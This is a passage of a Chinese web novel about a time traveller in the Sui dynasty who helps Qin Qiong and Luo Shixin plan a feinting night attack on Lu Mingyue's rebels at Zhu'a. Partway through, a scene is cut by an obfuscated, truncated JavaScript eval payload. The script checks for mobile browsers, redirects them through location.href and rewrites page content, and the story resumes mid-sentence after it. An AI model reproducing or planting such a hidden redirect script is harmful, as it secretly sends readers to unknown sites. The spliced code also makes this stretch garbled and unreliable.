吕仲明想了许久,已经改变了策略,在这叫天天不应,叫地地不灵的时候,老爸再牛也没用,一切只得靠自己了。首先要做的就是,把别的想法都收拾起来,认真对待这个使命。 装备,等级,技能都不重要,关键在于操作手法和团队意识……吕仲明停下脚步,揣测秦琼对自己的印象,暗道先前太托大,唉……秦琼一定把他当成个不懂事的小孩儿。 “秦兄。”吕仲明抱拳道。 秦琼看了吕仲明一眼,确实只把他当做个小孩儿。 “怎么了?”秦琼问道:“饿了?” 吕仲明:“……” 秦琼这么一说,吕仲明忽觉有点,早上吃了点稀粥咸菜,现在肚子已咕咕作响。来唐代前他知道古人一天只吃两顿,当时心想没关系,反正老爸会给钱,想吃什么花钱让人加餐就是了,没料到现在穷得叮当响,要熬到晚上吃下一顿,非得饿死不可。 “有……有点。”吕仲明诚恳道,“不过不是为此而来,借一步说话,秦兄。” 秦琼道:“饿了就随我来。” 秦琼把吕仲明带到边房内,吩咐人去取吃的,片刻后士兵取来两块冷冰冰的面饼,配着一碗油油腻腻的茶。吕仲明喝了口热茶,被噎得十分难受,这茶粗磨了一次,磨成茶粉,喝下去时感觉都黏在喉咙里。 “有什么话说?”秦琼认真道。 吕仲明现在大概已摸清楚了秦琼的脾气,认真,严肃,一丝不苟,丁是丁卯是卯的,当兵的人估计也不喜欢太嬉皮笑脸的朋友,但看那样子,结合所读资料,又是个讲义气的人。开始秦琼把他带到章丘城里来,确实是有意回护于他,只是后来吕仲明自己心里乱七八糟,话也说得乱七八糟,把秦琼搞得甚烦。希望对自己的那么一点点好感,还没有消磨殆尽。 须得稳重点,吕仲明告诉自己,秦琼是个堪当朋友的人。给吃给喝,还陪睡……不,把自己的铺分给他吕仲明睡,又客客气气地称呼“贤弟”,很有礼貌。这么好的人,说不得要想点办法,力所能及地报答他试试。 “秦兄,我突然想起,有个仙方儿。”吕仲明道:“现在就写出来给你,有几味药虽然是仙药,但用凡间的药也可代替,只是药效打了折,练好后你带回家给令堂吃,可延年益寿。” “家慈已故世一年了。”秦琼皱眉道:“好意心领。” “啊?!”吕仲明又傻眼了,问:“什么时候去的?!” 秦琼道:“贤弟认识家慈?” 吕仲明难以置信道:“怎么和隋唐演义上说的不一样?!” 秦琼道:“什……什么?隋唐演义是什么?为什么这么惊讶?” 吕仲明知道秦琼这人别的都算了,唯独十分孝顺,百善孝为先,秦琼奉养老母一事,当初也在群雄中传为佳话。然而其中似乎出了什么差错,也不知道是演义的差错,还是历史的差错,吕仲明一时糊里糊涂的,也说不出个所以然来。 吕仲明愧然道:“对不起。” “没什么,不必朝心里去。”秦琼摆手一哂道。 “生老病死,乃是……天道使然,生者道化于有,死者……化道于无。生生不息……”吕仲明磕磕巴巴道:“不必太过悲伤……哎,怎么会……” 秦琼有点意外,看吕仲明那表情,却是真心惋惜,想到母亲故去这一年,听吕仲明之言,倏然就生出了感慨。 “是。”秦琼唏嘘道:“贤弟所言乃是至理。” 吕仲明只觉自己越描越黑,把别人妈挂了的事勾起来也就算了,还贸贸然去安慰他,更不知道自己说的什么,唐突得要死。 殊不知秦琼因丧母一事,足足多时郁郁寡欢,一时间听到吕仲明之言,犹如当头棒喝。仿佛许久以来堵在心中的悲伤与无奈,就在某个时刻,在某个人面前得到了排解。其实只是秦琼郁积日久,到了该想开之时,吕仲明的话尚属其次,最终仍是自己想开了。 两人相对沉默了许久,秦琼眼眶微红,突然笑了笑,吕仲明也笑了起来, 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吕仲明无可奈何,叹了口气,点头道:“对。” 吕仲明抬眼看秦琼的双眼,思考片刻,还是决定先不把自己的任务和盘托出,一来这事太也奇葩,别说秦琼,任谁也不愿相信。二来说了也没用,秦琼目前也帮不上什么忙。 “秦兄不会是在军营里当一辈子千户的人。”吕仲明道:“一见兄,小弟便觉兄乃是人间龙凤,假以时日,小弟相信,兄必能成一番经天纬世之业,成国之栋梁。” 秦琼淡淡道:“承贤弟吉言。” 吕仲明又不知道说什么了,良久后道:“容我再想想,过段时间,待我理清头绪后,一定会给兄弟一个说法。” 秦琼目光复杂,看着吕仲明,最终重重点头。 数日后,章丘地区叛军终于平息,王薄逃跑的消息传来。 吕仲明躺在床上,秦琼摘了头盔,坐在案旁,一坐一躺,吕仲明歪着脑袋,朝秦琼道:“其实王薄大可不必逃。” 秦琼:“唔,失了先手,但稳扎稳打,据山而战,于峡谷内伏击我军,未尝没有扳平的机会。” 吕仲明道:“章丘南依泰山,北濒黄河,乃是齐鲁腹地,第一场的决战地点选在河边,想必是打算学楚霸王破釜沉舟,背水一战。没想到成了梁邱赐,断了自己后路。” 秦琼与吕仲明面对画满了地形的纸,秦琼考虑良久,吕仲明又道:“这一仗,若调转过来,换你带兵,该将如何?” 秦琼抬眼看吕仲明,说道:“黄河一线大势已去,我只能带兵在下游的津梁设伏,狙杀追兵。但张将军老而弥辣,想必早已料到此计。” 吕仲明诚恳道:“此乃下策,兵家上策,攻其不得不救。中策,料敌机先,攻其不防。下策才是赌运气,诱敌入阖。” “如何攻其不得不救?”秦琼道。 吕仲明躺在床上,伸出一手,在纸上画了个圈,答道:“围魏救赵。弃章丘,攻龙山县,龙山县有藏粮,先朝北跑,打下来以后把吃的分了,待张须陀将军派兵去救时,回攻章丘。” 秦琼点了点头,说:“王薄所带俱是农民军,未曾有此章法,若能想到这层,也不至于有此一败。” 秦琼每打完一场,吕仲明便学老爸带兵的思路,帮他做做战后总结,大多数时候由秦琼扮演隋军,吕仲明扮演叛军,纸上谈兵一场。谈完后双方互换,秦琼赫然发现,吕仲明稀奇古怪的思路竟是层出不穷,虽说实战打起来不知如何,但光凭口若悬河的功夫,秦琼是万万比不上的。 不到几日,张须陀的命令来了,秦琼便率军出去追击王薄的残兵。 “愚兄走了。”秦琼交代道:“过几日就回来。一切小心,照顾好自己。” 吕仲明道:“带我去……” “不行!”秦琼想也不想就否决了这个提议,答道:“这是打仗,自顾不暇,哪有空带上你。” “喔好吧。”吕仲明只得有气无力道:“你去吧。” 吕仲明根据自己的知识,知道这一仗肯定是赢的,死缠烂打跟着去也是活动活动筋骨,然而打仗就要运动,运动就要消耗体力,消耗体力就会饿。且这边每天就吃这么点东西,军粮严格配给,来了这么久,已经吃了秦琼不少东西,出去总不好意思混他的两顿饭,不去就不去罢。 于是秦琼走了,吕仲明便躺在床上思考人生哲理。 一连数日,吕仲明都在思考,最后决定,待得张须陀的部队打了胜仗后,便跟随秦琼回大兴去。初时浑浑噩噩,不知道杨广是谁,如今再去与那狗皇帝打个照面,自然知道要怎么忽悠他。知己知彼,百战不殆这句话,确实是真理。 只要拿回父亲的龙鳞,马上就能将老爸召唤过来,一切难题迎刃而解。然而吕仲明想到这里,又隐隐约约觉得有点不妥。 仙佛有仙佛的战场,凡人有凡人的战场,以仙力去干涉凡人的命运,真的好吗?说不定虚空玄门内的那一掌,也正是佛家下的战书。对方在没有出面干涉战局之前,自己是不是也不能妄自化为真身,冲到皇宫里直接把杨广给吃了? 但不管怎么样,龙鳞是一定要拿到的。否则人身安全都没有保障……吕仲明决定了下一步计划,就是装成人畜无害的模样,跟着秦琼去大兴。 然而张须陀这一场仗,打起来却是没完没了,击退了王薄,从秦琼的对话里,吕仲明得知王薄已经兵败跑路了,连辎重都丢得干干净净。张须陀派出了所有的部队,前往津梁,与水军将领周法尚合兵,狙击王薄残军。 秦琼临走时嘱咐吕仲明,不可出外乱跑,也不可朝外人说太多自己的来历。凡事听张须陀的吩咐。 那天吕仲明刚吃完早饭,正躺下来,外头便来了个人,进来也不说话,看到吕仲明躺在秦琼的床上,登时一怔。 吕仲明尚且沉浸在自己的思考中,忽然发现外面来了个人,便略张着嘴,与那人对视。本能地感觉到,似乎有点危险。 是什么呢?是杀气! 那男人高而瘦削,脸色阴沉,容貌细看起来倒是不太凶神恶煞,只是感觉怎么看怎么让人觉得不舒服。眉眼间充满戾气,眼睛明亮,手背青筋纠结,显是练武之人,眉毛还损了一截,若不是穿着盔甲,吕仲明险些就要将他当成个囚犯。 男人眉目间带着一股戾狠之气, “什么人?”那男人沉声道:“怎么在我秦兄弟房里?叔宝何在?” 吕仲明忙一个翻身起来,朝他抱拳。 “张须陀将军……派他出去追击王薄的军队了。” 男人:“报上名来。” “我……是他小弟。”吕仲明转念一想答道:“我叫仲明,你好。” “怎么大白天的躺着?”那瘦削男人拧着眉毛问道:“身体不舒服?” 吕仲明道:“没有,一天只吃两顿,容易饿,只能躺着,避免消耗体力。” 男人:“……” 吕仲明道:“张须陀将军在前厅里。秦兄多则十天,少则三天后才能回来。” 男人似乎十分烦恼,站着不吭声,无意中瞥见了摊在桌上的一张纸,正是先前吕仲明与秦琼讲论行军所用,便看着那张纸沉默,仿佛在想自己的事。 吕仲明看出面前这人仿佛有点生气,便小心翼翼道:“有什么事么?待他回来我转告他。” 男人道:“罢了。”说毕转身就要走,吕仲明忙追在他身后,问道:“有什么能帮你的?” 男人漫不经心道:“卢明月率领十万军队,攻到祝阿县了,你回去躺着罢,节约体力……” 吕仲明快步追在那男人身后:“国事为重,我与你一起去。” 吕仲明既然住在秦琼营里,那人找秦琼帮忙,自己说不得也多少得出点力,身前这人仿佛与秦琼关系甚好,便打算问问看有什么事情自己能做的,然而那男人却也不说自己是谁,一路上穿过回廊,片言不提。 “秦大哥眼下已经到津梁了……” “兄台叫什么名字……” 那男人腿长走得快,吕仲明只得加快步伐追着,男人根本就不理他,到得厅外时,见一名参赞正在厅外站着,这参赞吕仲明认得,正是第一天到张须陀营中时,撺掇老将军把他押回去大兴,交给杨广的那个,名字唤作王志阳的就是。 秦琼说过在军营里住着,不可轻视朝廷派给张须陀的人,须得客客气气,吕仲明便朝他点头,说道:“王大人。” 那参赞对吕仲明爱理不理的,看到率先走来的那男人,却脸色一变道:“罗将军,张老将军正在与朝廷特使议事,此刻不可……” 那一身戾气的男人话也不答,随手一掌就朝着参赞照头兜去。 吕仲明:“!!!” 吕仲明还没反应过来什么事,男人便一巴掌把参赞抽得陀螺般半空飞出去,撞在地上,摔得头破血流。 吕仲明张着嘴,站着只不住发抖,心道@#¥%…… 那男人回头看了吕仲明一眼,随口道:“我叫罗士信,你唤我罗大哥就行。” 5. 第四回:叫阵 吕仲明:“……” 说毕罗士信推门进去,见张须陀正在与一名官员说话,吕仲明想起杨广那茬,心里咯噔一响,本能地便朝罗士信身后躲。 罗士信注意到吕仲明似乎有什么忌惮,便主动挡在他身前,现出回护之意,不让他与那特使朝向。站定朝张须陀一抱拳。 罗士信:“师父。” “来得正好。”张须陀道:“你前去准备,这就随我出征。” 罗士信道:“不行!让我去。” 张须陀怒道:“怎么!瞧不起师父不成?” 罗士信道:“决计不行!叔宝带领的士兵还未回来,林将军要回援洛阳,卢明月有十万人!我们只有不到一百人!” “杂兵散勇。”张须陀道:“不足为惧。” 说话间张须陀朝吕仲明看了他一眼,似乎有点意外他也跟来了。 罗士信道:“手下只有不到五十人!不能让师父去涉险!” 张须陀:“军令如山!你一个人去,如何能摆平卢明月!” 罗士信脾气本就狠戾,张须陀看上去心情正不好,一身须发花白,已年届六旬,脾气却是说不出的火爆,那朝廷特使看着,俩师徒正要旁若无人地吵起来,罗士信额爆青筋,吕仲明看样子不对,生怕张须陀动手揍他,忙道:“那个……” “那个……” 吕仲明一开口,厅内倏然二人都不说话了,都看着吕仲明。张须陀微微皱眉,罗士信冷冷道:“说。” 吕仲明:“……” 吕仲明只想劝他俩别吵架,没想到突然一下这么尴尬,寻思片刻,只得硬着头皮,从先前的话中,梳理出了个大概。 “那个……卢明月的叛军不足为惧,王薄的兵马虽已去,却保不准是否会卷土重来……”吕仲明前几日与秦琼聊过,大概也知道战局是怎么个情况,推测道:“张将军宜坐镇章邯,此刻不容有失。” 那朝廷特使鼻孔中不屑哼了一声,罗士信登时怒目而视,然而张须陀反应更快,怒道:“士信,这位是朝廷来的李大人!不可无礼!” 张须陀这么一吼,吕仲明方心道好险,要不是有他镇着,只怕罗士信又要上前一巴掌把那“特使”抽飞出厅去,续道:“秦将军与周法尚汇合后,想必决胜负也在这几天内。不如派人给他送个信,让其解决了黄河边的战事后,便火速回援祝阿。罗将军与我前去,在祝阿县外与其汇合。张将军若信得过在下,仲明愿与罗兄弟一并驰援祝阿。” 罗士信先前在外当差,也不知吕仲明来历,但吕仲明的提议正合他心意,答道:“正是,区区卢明月,师父不必出战,这位小兄弟与我同去足以。” 张须陀道:“陛下点名道姓要找你,老夫不能贸然让你出战。” 罗士信一直不知吕仲明来历,听到这话时脸色便一变,一看吕仲明,眼中尽是询问之色,吕仲明以眼神示意待会再给你解释,心下登惊,马上就知道朝廷特使居然找到张须陀营里来了! 那特使问道:“张大人,他就是吕仲明?” 短短两句话间,吕仲明已猜到在自己与罗士信进来前,张须陀与这朝廷特使的对话,无非就是杨广查到了自己在张须陀营中,于是派人来索。但是……杨广是怎么知道的?消息能这么灵通吗?杨广毕竟是个凡人,多半现在还在和叛军打仗,消息怎么会传到他那里的? 万一要找自己的不是杨广,而是别的什么人,这个时候就危险了。吕仲明虽然要去大兴一趟,却不能这么被动,正要设法堵住那特使话头时,罗士信却更彪悍,答道:“将在外,君命有所不受。罗某要带这位小兄弟出去打仗,李大人待我得胜归来后再索人不迟。” 吕仲明心里大赞道好样的!这就对了,忙道:“张老将军若信得过在下……” 罗士信此时一心只想留住张须陀,毕竟己方只有数十人,而对方可是有十万,这一去连打都不用打,只有与秦琼的部队汇合后才有胜算。张须陀乃是老将,却年岁已高,万一出个三长两短,对隋朝将成为重大打击。 只见张须陀打量吕仲明,片刻后道:“秦琼对你推崇备至,想必你多少也有些自保功夫。你既愿为我大隋出战,便着你与士信一同出征,到祝阿后,秦琼将与你们汇合,到时再图击破,不可冲动行事。” 特使色变道:“张大人!” 罗士信话也不想与那特使说,答道:“走!” 说毕朝张须陀一抱拳,场面留给他去处理,转身要带着吕仲明走,张须陀看了一眼吕仲明,又看罗士信,意味深长道:“士信,你素来行事不顾前不顾后,凡事须得与这位小兄弟商量,不可独断专行。” 吕仲明点头,知道张须陀让自己去,并非就认为自己能帮上什么忙,而是因为罗士信不稳重,张须陀生怕这名弟子一时莽撞,殆误战机,又因秦琼先前说了些什么,张须陀对吕仲明颇有回护之意。 吕仲明不由得心生感激,点点头,又看了那特使一眼,转身与罗士信出来。 罗士信一出军营就翻身上马,朝吕仲明道:“去选武器。” 吕仲明这才想起,出来是要和罗士信去打仗的!自己从来没打过仗,纸上写写画画,倒是挺溜。这可怎么办?明明是个治疗,怎么突然间变成T了! “怎么?”罗士信问道:“没学过武?” “学过。”吕仲明忙道,他看到罗士信反手把一把长槊负在背后,槊上光秃秃的,什么饰品都没有,心道这人确实是个狠角色。大凡用槊之人,槊上都系有留情结,以免将敌人一槊贯穿。 吕仲明从来不经马战,拿两把剑好看是好看了,但要近身才能发动攻击,太也危险,而且控马之术不娴熟,容易和敌人撞到一起,毛手毛脚的,打起来不好看,于是选了一把长弓,充当远程武器。又选了把戟,充当中程护身。 “你能用这两件?”罗士信仿佛看笑话一样看着吕仲明。 吕仲明道:“可以……” 罗士信:“……” “……吧?”吕仲明被罗士信看得有点心虚,惴惴道。 罗士信道:“八十三斤的强弓,你开弓看看。” 吕仲明拿着弓,略一沉吟,一手推,一手扣弦,俯身一扯,拉开了。罗士信略有点惊讶,但一看吕仲明拉弓架势便知是有名师所授,便不再多问,答道:“得罪。” 吕仲明笑笑,罗士信摘下手中牛皮扳指抛给他,吕仲明便戴上,说:“我再试试长戟给你看?” 罗士信道:“不必,这就走罢。” 罗士信说完就一阵风似地催马出营,吕仲明跟在他身后,被背在背后的画戟磕得十分不舒服,心道要是法宝都带过来就好了,至少有把雷云金光戟和吞日弓。两下子就能摆平十万人,可惜可惜。 罗士信阴沉着脸,两骑到营外,罗士信手指撮嘴里一个唿哨,又有五名骑兵出来,跟着罗士信,彼此话也不说,直冲出章邯城去,上路了。 马匹颠簸,吕仲明心里咚咚咚的,跑了足足大半天,发现罗士信就带了这么五个人,已跑出章邯十来里,也没有部队汇合,便试探着问:“罗大哥,那个……” 罗士信:“?” 吕仲明:“只有五个人?” “七个。”罗士信道:“你不是人?我不是人?” 吕仲明道:“七个人,去打卢明月十万人?” 罗士信驻马道:“怕了?” 吕仲明忙摆手,怕倒是不怕的,他知道罗士信应该还是有自己的计划,说话间这一小队人上了山道,天色阴暗,不久前刚下过一场雨,山路崎岖湿滑,只得慢慢走。吕仲明又道:“罗大哥。” 罗士信一扬眉,示意有话就说,吕仲明考虑良久,想到自己所知的罗士信生平。 罗士信少十三从军,先在张须陀麾下当兵,张须陀战死后,跟随秦琼投奔李密,再投王世充,受王世充所辱,愤而转投李渊。不久后在洛水一战中被河东军所俘,受尽折磨而死。 吕仲明想到面前的这么一个人,二十岁就要英年早逝,心里有种说不出的滋味。山路上泥泞满地,罗士信便翻身下马,吩咐牵着马走,与吕仲明并肩而行。吕仲明问道:“罗大哥,你和秦兄,都是张老将军的弟子么?” “平时是这么称呼。”罗士信随口答道:“有什么问题?” 吕仲明摆手,问道:“张老将军对你们很好是吗?” 吕仲明真是受够这种对话模式了,秦琼让他谨言慎行,奈何自己说什么感觉都不对,担心道:“罗大哥,你揍了张老将军麾下那参赞,会不会出什么问题?” 罗士信冷冷道:“王志阳娘们唧唧的,只会坏老子的好事,揍他又怎么了?你怎么这么婆婆妈妈?是不是男人?” 吕仲明道:“我是怕他报复你……算了。” 罗士信看着吕仲明,吕仲明猜不透罗士信心里在想什么,便不敢说话,数人牵着马过一条狭道,罗士信上下打量吕仲明,问道:“看不出你这小子,居然还招惹了皇帝,你且说实话,我不难为你,杨广找你做什么?为什么抓你?” 吕仲明有选择地老实交代道:“他把我当刺客,想抓回大兴去。其实我什么也没做,只是误打误撞,闯他军营里去了。” 罗士信冷笑,点点头,吕仲明想起在张须陀面前时罗士信的回护之意,便道:“谢谢罗大哥。” 罗士信道:“你就呆在我与叔宝身边,谁也要不走你。” 吕仲明心道罗士信居然连杨广的面子都不买,也真够彪悍的,罗士信又道:“当年我被官府通缉,是师父救了我一命,收留我在军中,你只要能打仗,别惹事,师父也会收留你。” 罗士信把吕仲明当作了通缉犯,吕仲明也不解释,感激地点头。 吕仲明在路上想得甚多,一会是罗士信只活到二十岁的事实,一会是张须陀最后的归宿是战死了,心道冲着张须陀与罗士信的保护,说不得也要想办法保住他二人性命。 出了山,只见山下等着上百人,吕仲明这才知道罗士信的人都埋伏在这里,第二批人马汇合后,继续马不停蹄地赶路。 如此急行军一天,到得祝阿时,天色已渐晚。吕仲明终于见识到人多势众的威力了——足足十万人,十万人,挤在一个巴掌大的县城里。夜晚城中四处亮起灯火,戒备森严。 罗士信叼着根草杆,坐在一颗高树上,从山坡顶上朝远处看,夜色中沉吟不语,侧脸在黄昏的夕晖中,有种嗜血的,变态的神情。 吕仲明能感觉到,罗士信就像一只隐藏在夜色里的枭,准备随时伺机而动,让他的槊饮血。 “现在怎么办?”吕仲明问道。 “不怎么办。”罗士信道:“睡觉,补充体力。” 吕仲明:“我饿了。” 罗士信:“现在没吃的,打完胜仗就有吃的了。” 吕仲明道:“什么时候打仗?” 罗士信:“半夜,等城里熄了灯就进去杀人。” 吕仲明有点悚,答道:“我没杀过人。” “我教你。”罗士信冷漠地说:“不会杀人,就只能被人杀,杀多了,你就会了。” 吕仲明知道自己一看就是没上过战场的,在罗士信眼里,估计就是人畜无害的小菜鸡一只,但像罗士信这样,一到了要杀人的时候,浑身每个毛孔都朝外散发着兴奋,吕仲明也有点怕。 打仗就打仗,杀人是难免的,老爸也说过,杀戮,是为了不再有杀戮,不能把杀人当享受。罗士信太过嗜血,一身业报,杀孽过多,乃至英年早逝。 吕仲明转念一想,说:“我有个办法。要么咱们去偷身衣服,先混进去打听消息?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563113|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗士信充满威慑感地看了吕仲明一眼,吕仲明以为罗士信要揍自己了,然而他稍一沉吟,便道:“可以。按你说的办。但你得留在这里,让他们去。” 吕仲明便和树下的几名兵士聊了几句,士兵们纷纷领命,解了盔甲,下山去县外农户家中偷东西,换上一身粗布服装,散下平原,进县内去,吕仲明毛手毛脚,要爬上树来一起看,半天爬不上来,罗士信便一脚吊儿郎当地垂下去,吕仲明抱着罗士信的大腿,好容易爬上来了。 “谢谢……”吕仲明哭笑不得。 罗士信眯着眼,躺在树杈上睡觉,吕仲明探头探脑地张望,借着落日的余辉看那几个兵进城去。 “看不见的,歇歇罢。”罗士信道。 吕仲明还依稀能看见人,答道:“能看见,都到外围了,混进去了。” 祝阿是个小县城,外面不设城墙,只有一批木围栏,百姓们来来去去,卢明月的军队也不怎么提防奸细。 “一对招子倒是亮。”罗士信沉声道:“与我那兄弟像得很。” 吕仲明没注意这句,茫然道:“什么?” 罗士信不说话了,吕仲明目送几名士兵进城,便也学罗士信躺下,罗士信闭着眼,问道:“查探清楚以后要做什么?” 吕仲明方才与探子们商量时,让他们重点查探粮仓,马厩,兵器库以及军营几个据点,罗士信在路上都听了去,吕仲明便解释道:“我画个地图给你看……” “不必,说就行,我记得住。”罗士信冷冷道。 “你不是要夜袭么?”吕仲明在罗士信的大腿上画地图,边画边解释道:“咱们只有七个人,贸然夜袭,进去乱杀一通太危险了,照我想的,先查清楚粮仓等地方,进去以后先放火,将马全放跑,引起混乱以后,再从北边冲出来。” “唔。”罗士信道:“聪明。” “但这个计划还是有点冒险。”吕仲明又道:“待会得去准备火把,在东边的山坡上,全部绑在树上,绑个上百根,这样在深夜里点起来,再派个人叫阵,卢明月的注意力会被吸引过去……” “知道了。”罗士信睁开双眼,看吕仲明:“声东击西。” “对!”吕仲明笑道。 吕仲明肚子咕咕作响,只觉想完这件事后,肚子更饿了,便在树上倚着,偷看罗士信一眼,发现这家伙说话凶虽凶,对自己人还是很护短的,可堪信任。罗士信一直闭着眼睛,似乎是真的在睡觉。吕仲明听到他呼吸均匀,知道是真的睡着了,便把弓握在手里,为罗士信守夜。 两个时辰后,探子们回来了,吕仲明示意他们小声点,别吵醒了罗士信,在树下问清楚城内情况,以树枝在泥地上绘出地图。刚说完,正寻思要怎么偷袭,头疼人手实在太少,要是再来个两百人,足够杀卢明月个人仰马翻了。 就在这时,罗士信跃下树来,不知什么时候醒了,吕仲明的计划已听在耳畔,罗士信吩咐道:“你带五十人去东边树林里设伏,我带五十人去偷袭,焰火为号令。” “等等……”吕仲明道:“我还没说完!” 罗士信也不等他,一声唿哨,招呼五十人走了,朝另外的兵士道:“听吕将军的吩咐,他要你们死你们就死。” “哎——!”吕仲明道。 罗士信已跑得没影了,剩下吕仲明自己站着,彻底傻眼,本来按吕仲明自己的计划,是让罗士信带兵在城外搦战,自己前去偷袭,这样放火烧完粮仓,放完马就可以撤了,没想到罗士信跟个野狗似的撒腿就跑。 自己既不会带兵,也不会搦战,要咋办? “吕将军?”已有部下问道。 “我……好吧。”吕仲明只得硬着头皮,不住给自己打气,说:“跟我来。” 吕仲明带着五十人,让人进树林里去点火把,埋火把,从前跟老爸学的排兵布阵,都止于沙盘运筹,可是从来没搞过实战!这下好了,不仅要发号施令,还要带兵上前线。吕仲明只觉自己被赶鸭子上架,简直是在错误的道路上一路狂奔,再也回不了头了,心里一边哀嚎一边布好火把,又设下绊马索,渐渐发现士兵还是挺听话的。 果然军令如山这话,一点不假,吕仲明刚安排下去,不到一个时辰,所有的事情居然都做完了。 接下来的,就是搦战了。 此刻已是深夜子时,漫山遍野的火把登时惊动了祝阿县守军,里面足足有十万人,都挤到木围栏上来围观。吕仲明一时间有点不知道怎么办才好了,对方那么多人,涌出来一人一脚都能把他踩成肉饼……然而火把已经点了,营造出我方也有千军万马,实际上只有五十一个人…… “吕将军!”部下道:“对方已经被惊动了,良机莫失,最好快点出战!” 吕仲明:“……” 吕仲明在树林里探头探脑,最后把心一横,纵马奔出平原上,拿着传令用的焰火,战战兢兢研究了半天,部下识趣把火把递过来,吕仲明便凑着火光点燃炮筒,嗤啦一声,又是彭的巨响,焰火飞向天空。黑烟熏得吕仲明不住咳嗽,眼泪都出来了。 “来者何人!报上名姓——!”远处有人怒吼道。 “当当当——” 全城敲钟。 吕仲明一看这阵仗,本能地就要掉头跑路,然而背后是五十名士兵,主将一跑,还不被城里冲出来的大军给抓住蹂躏死,不对,不等城里出来人,自己人也先得把他掐死。 吕仲明心里叫苦不迭,提着长戟,纵马缓缓在城外绕了个圈,估摸着快到弓箭射程了,才停下。 万军肃静,城内火把满满的一排,足有上万人。 上万双眼睛盯着吕仲明。 吕仲明硬着头皮,喊道: “那个啥,卢明月,你出来一下!” 如是,吕仲明生平的第一场战斗打响了。 6. 第五回:流星 但凡武将叫阵,素来都是“XXX,上来领死!”“杂鱼!快快将项上人头送上来,你爷爷砍了赶着回家吃饭去!”一类的,至不济,普通武将叫阵也是“出来送死!”。 到了吕仲明的爹身上,只要自报姓名,连叫阵的话都不用说,对方便已闻风丧胆,骇得脚软。可惜到了吕仲明自己身上,则提着把戟,战战兢兢在城外喊有种你过来啊,过来过来过来啊。 对方也不是吃素的,观吕仲明背后漫山遍野的火把,便知有埋伏,不敢轻举妄动,片刻后木楼哨塔高处出来个人。 “来者何人!通了姓名!”那武将吼道:“爷爷手下不斩无名之人!” 这才有点两军对垒的样子,然而吕仲明听到这句,又接不下去了,寻思片刻后,大声道:“吕仲明!” 话音落,双方响起一阵哄笑,吕仲明只觉哎,怎么会这样,又喊道:“有种你给我出来!” 那武将已看出吕仲明没打过仗,还心想究竟是谁派了这等傻子前来叫阵,便调侃道:“有种你就给我爬上来啊!” 吕仲明:“……” 对方又是一阵哄笑。 跟随吕仲明的兵士都觉面目无光,部下道:“吕将军,别被他的话带着走了。” 吕仲明尚不知自己被对方调戏了,心情十分烦躁,对方不开木门,吸引不走注意力,罗士信就难以偷袭,正寻思要怎么办时,哨塔上那武将又嘲笑道:“回家吃你娘的奶去罢,别来凑热闹。” 笑声跟海啸一般,吕仲明已彻底愤怒了,拉开弓箭,想也不想就抬手一箭。 说时迟那时快,一箭犹如流星般飞去,在笑声中飞上墙头,那武将声音戛然而止,从墙头后摔了下去。 刹那间笑声就像被硬生生掐断的鸭子叫,全部停了。 三、二、一,全场静谧。 吕仲明额爆青筋,怒吼道:“少废话!出不出战!” 漫长的静默后,双方同时哗然,这阵前叫唤的小子,相距上百步,居然能射中哨塔上!吕仲明说话间又是抬手一箭,哨塔高处又是一声惨叫,另一名士兵应声而落。 紧接着,己方都是轰雷般的一声彩! 吕仲明这才回过神来,要再射箭时,对方却吼道:“放箭!” 霎时木楼高处哨塔朝着空地上飞箭如雨,吕仲明那部下得了吩咐,生怕主帅受伤,喊道:“保护吕将军!”一时间众人纷纷抢上,抽出木盾掩护吕仲明,吕仲明仓促后退,却发现箭矢根本到不了自己面前。 敌人射完一轮乱箭,又是一轮,吕仲明拉开那强弓,第三箭出,哨塔上士兵应声而落,吕仲明笑道:“不怕!他们奈何不了咱们!” 紧接着吕仲明反手抽箭,架箭,唰唰连珠箭发,木哨岗上悬挂着的灯笼尽数被射灭,陷入黑暗之中,紧接着又瞄准了哨塔高处,每一箭过去都有人发出惨叫,从数丈高楼上摔下来,发出闷响。 片刻后,掩体大门轰然洞开,上千名叛军举着火把,冲了出来。 吕仲明正射得兴起,骤然见冲出这么多人,忙自吼道:“不好!快跑!” 登时五十一人犹如丧家之犬,从平原上逃离,深夜里,祝阿城外一片混乱,千余名叛军追着吕仲明率领的五十名官兵,展开了一场追逐战,背后无数箭矢逆流而上,吕仲明咬牙朝马背上一躺,堪堪拉开长弓,眼里倒映出追兵繁星般的火把。 “让路!”吕仲明挤出两个字。 跟在背后的士兵登时分开两侧,吕仲明一松弓弦,那一箭直是继承了其父辕门射戟的风采,犹如暗夜中的流星,划破了天幕,从马背上的高度斜斜飞起,箭矢闪烁着钢铁的反光,扯出一道完美的弧,敌人首领惨叫一声,被箭矢射中。 吕仲明猛地一翻身,稳稳当当双腿夹马,控马,行云流水的又是回手三箭,每一箭去,都有士兵应声而落,叫好声,喝彩声震得他的耳鼓嗡嗡作响,耳畔全是呼呼风声。在那一刻,他依稀感觉到了父亲驰骋沙场的万丈豪情。 “儿郎们!跟我来——!”吕仲明道。 麾下士兵齐齐怒吼应和,吕仲明一骑辗转,带领士兵游走于城外,马上疾驰时手中连珠箭不停,沿着近一里的木墙掩体快马加鞭冲去,每过一盏灯的区域,那灯便应声而落,城墙上有弓箭手出现,便一声惨叫,摔下墙去。 到得后来,城墙上的叛军一见吕仲明,登时扔了武器,作鸟兽散躲进掩体里,吕仲明绕了个大圈,又回到平原上,此刻已不知将追兵甩到何处去了。 “吕将军!”部下喊道:“罗将军得手了!” 西北方红光照亮了半边夜幕,吕仲明知道罗士信已经开始放火了,追兵们知道中了调虎离山之计,纷纷掉头冲回城里,吕仲明喊道:“快!回去接应!” 吕仲明率军冲向东围栏,只见军营内,远处粮仓方向一片混乱,大火绵延而来,吕仲明要进城,又怕跑错了方向反而陷进去出不来,在城外等待时,忽听喧闹声渐大,火光已出现在东门哨塔上,便知罗士信已到木门前了! 然而木门还关着,木制吊门巍然不动,两座哨塔已开始起火,熊熊燃烧,吕仲明要策马冲上,却被部下拦住。 “吕将军!罗将军只让咱们在城外接应,不可贸然进去!” 